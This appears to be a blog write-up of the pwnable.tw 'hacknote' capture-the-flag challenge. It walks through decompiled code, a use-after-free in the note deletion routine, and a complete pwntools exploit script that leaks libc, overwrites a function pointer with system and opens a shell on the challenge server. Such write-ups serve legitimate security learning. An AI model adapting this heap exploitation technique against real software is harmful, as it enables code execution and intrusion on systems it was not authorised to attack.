Challenge


Vulnerability

It looks like a heap exploit!

unsigned int SUB_add()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( noteCnt <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )                            // when ptr[i] is empty
      {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *ptr[i] = SUB_func;                     // func ptr
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*(ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(ptr[i] + 1), size);
        puts("Success !");
        ++noteCnt;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

Every note has main chunk and content chunk.

One more exciting thing is that main chunk has a function pointer! (printing content)

We may overwrite it as system function.

unsigned int SUB_printNote()
{
  int index; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  index = atoi(buf);
  if ( index < 0 || index >= noteCnt )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[index] )
    (*ptr[index])(ptr[index]);
  return __readgsdword(0x14u) ^ v3;
}

At line no. 17, we can see how function pointer is used.

So, the parameter is function pointer itself!

unsigned int SUB_delete()
{
  int index; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  index = atoi(buf);
  if ( index < 0 || index >= noteCnt )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[index] )
  {
    free(*(ptr[index] + 1));                    // content
    free(ptr[index]);                           // main chunk
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

In delete function, there is a vulnerability.

After deletion, it does not clear 'ptr[index]'. It means we can double free the chunk!


The exploit scenario is below here.

1. leak the libc address using chunk in unsorted bin (main_arena.top is written in freed chunk)

2. using double free, make the status like this:

A's main chunk == B's content chunk

3. write system function's address at A's function pointer position using B's content.

4. Because the parameter is function pointer itself, the string such as (system address) + ';bash' is overwritten.



FL4G

#!/usr/bin/env python
# pwnable.tw hacknote

from pwn import *

debug = 0

def menu(choice):
	s.recvuntil('choice :')
	s.send(str(choice))

def add(size, content):		# size : int, content : str
	menu(1)
	s.recvuntil('Note size :')
	s.send(str(size))
	s.recvuntil('Content :')
	s.send(content)
	if debug:
		print('add finished')

def delete(index):
	menu(2)
	s.recvuntil('Index :')
	s.send(str(index))
	if debug:
		print('delete finished')

def printNote(index):
	menu(3)
	s.recvuntil('Index :')
	s.send(str(index))
	if debug:
		print('printNote finished')

def exploit():
	# libc leak
	add(0x60, 'A')		# 0
	add(0x08, 'b')		# 1
	delete(0)
	add(0x60, 'z'*4)	# 2
	printNote(0)
	s.recvuntil('z' * 4)
	re = u32(s.recv(4))
	libc_base = re - 0x1b07b0
	if debug:
		log.info('libc_base : '+hex(libc_base))

	system = libc_base + 0x3a940
	delete(1)
	delete(1)
	add(0x40, 'x')	# 3
	add(9, p32(system)+';dash')	# 4
	printNote(3)

if __name__ == '__main__':
	if debug:
		s = process('./hacknote')
		pause()
	else:
		s = remote('chall.pwnable.tw', 10102)

	exploit()
	s.interactive()
	s.close()

sol_hacknote.py



'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] applestore writeup  (0) 2018.10.11
[pwnable.tw] Silver Bullet writeup  (0) 2018.10.11
[pwnable.tw] dubblesort writeup  (0) 2018.10.11
[pwnable.tw] calc writeup  (0) 2018.10.11
[pwnable.tw] orw writeup  (0) 2018.10.11

+ Recent posts